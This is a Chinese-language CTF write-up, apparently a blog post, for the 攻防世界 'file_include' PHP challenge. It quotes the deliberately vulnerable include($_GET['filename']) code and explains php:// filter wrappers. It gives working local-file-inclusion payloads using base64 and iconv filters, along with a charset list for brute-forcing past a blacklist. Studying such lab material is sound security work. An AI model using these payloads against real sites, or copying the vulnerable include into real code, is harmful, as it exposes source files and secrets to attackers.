攻防世界_file_include

file_include

<?php
highlight_file(__FILE__);
    include("./check.php");
    if(isset($_GET['filename'])){
        $filename  = $_GET['filename'];
        include($filename);
    }
?>

php://filter:php的伪协议,用于对数据流进行过滤处理。

文件包含漏洞

//代码中存在类似 include()、require()、file_get_contents() 等函数,并且参数用户可控
eg: include($_GET['file']);  // 比如 ?file=index.php

为什么用 php://filter

如果直接包含 .php 文件,PHP 会执行它,而不是显示源码。

使用 php://filter 可以 避免代码执行,而是以 编码后的形式读取源码(如 Base64、UTF-16 等)。

resource=<要过滤的的数据流> 这个参数是必须的,它指定了你要筛选过滤的数据流。
read=<读链的筛选列表> 对读取的数据流应用一个或多个过滤器(按顺序处理)

php://filter/read=convert.base64-encode/resource=flag.php
#先读取flag.php,在对其内容进行base64编码

write=<写链的筛选列表> 对写入的数据流应用一个或多个过滤器

php://filter/write=string.rot13/resource=test.txt
#php://filter/write=string.rot13/resource=test.txt

<无前缀的筛选列表> 若未指定 read=write=,过滤器会同时应用于读写链(根据操作类型自动适配)。

伪协议种类

file:// 访问本地文件系统
http:// 访问http(s)网址
ftp:// 访问ftp
php:// 访问各个输入/输出流
zlib:// 压缩流
data:// 数据
rar:// RAR压缩包
ogg:// 音频流

文件读取(无需执行php代码)

特征

系统允许读取文件,但可能:

过滤了 ../(目录穿越)

限制文件后缀(如只允许 .txt

对文件内容做检查(如检测 <?php 标签)

为什么用 convert.iconv

编码转换可以 绕过内容检测,例如:

convert.iconv.utf8.utf16 → 让文件内容变成 UTF-16,可能绕过某些正则检测
convert.base64-encode → 让文件变成 Base64,避免直接显示 PHP 代码

使用 convert.iconv.utf8.utf16 和直接读取文件(如 ?filename=flag.php)或使用 convert.base64 的区别

?filename=flag.php
#直接读取 flag.php(无过滤器)
#PHP 会直接解析 flag.php 中的代码(如执行 <?php $flag="FLAG{xxx}"; ?>),导致无法看到源码内容(仅显示执行结果)。

?filename=php://filter/convert.base64-encode/resource=flag.php
#使用 convert.base64-encode
#将 flag.php 的内容转换为 Base64 编码字符串(非执行),从而绕过 PHP 解析,直接输出编码后的源码。

?filename=php://filter/convert.iconv.utf8.utf16/resource=flag.php
#使用 convert.iconv.utf8.utf16
#将文件内容从 UTF-8 编码转换为 UTF-16,导致以下效果:
/*
1.破坏 PHP 标签结构:
原始 <?php ?> 的 UTF-8 字节序列被转换后,无法被 PHP 识别为合法标签,从而阻止代码执行。
例如:<?php → UTF-16 可能变为 \x00<\x00?\x00p\x00h\x00p\x00(不可执行)。

2.输出转换后的“乱码”:
文件内容以 UTF-16 形式输出(包含大量空字节 \x00 和编码字符)。
若 flag.php 内容为 <?php $flag="FLAG{xxx}"; ?>,转换后会显示为乱码,但敏感信息(如 FLAG{xxx})仍可被识别。

php支持的字符编码

绕过WAF/黑名单

直接访问 flag.php 被拦截,但 php://filter 可能未被检测。

?filename=php://filter/convert.iconv.utf8.utf16/resource=flag.php

详解php://filter以及死亡绕过
php://filter的各种过滤器

wp

?filename=php://filter/convert.base64/resource=flag.php

发现有过滤,提示“do not hack!" 猜测是黑名单检测敏感字符串

抓包字符集爆破

?filename=php://filter/convert.iconv.1.2/resource=flag.php
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
posted @ 2025-06-13 18:08  funji  阅读(199)  评论(0)    收藏  举报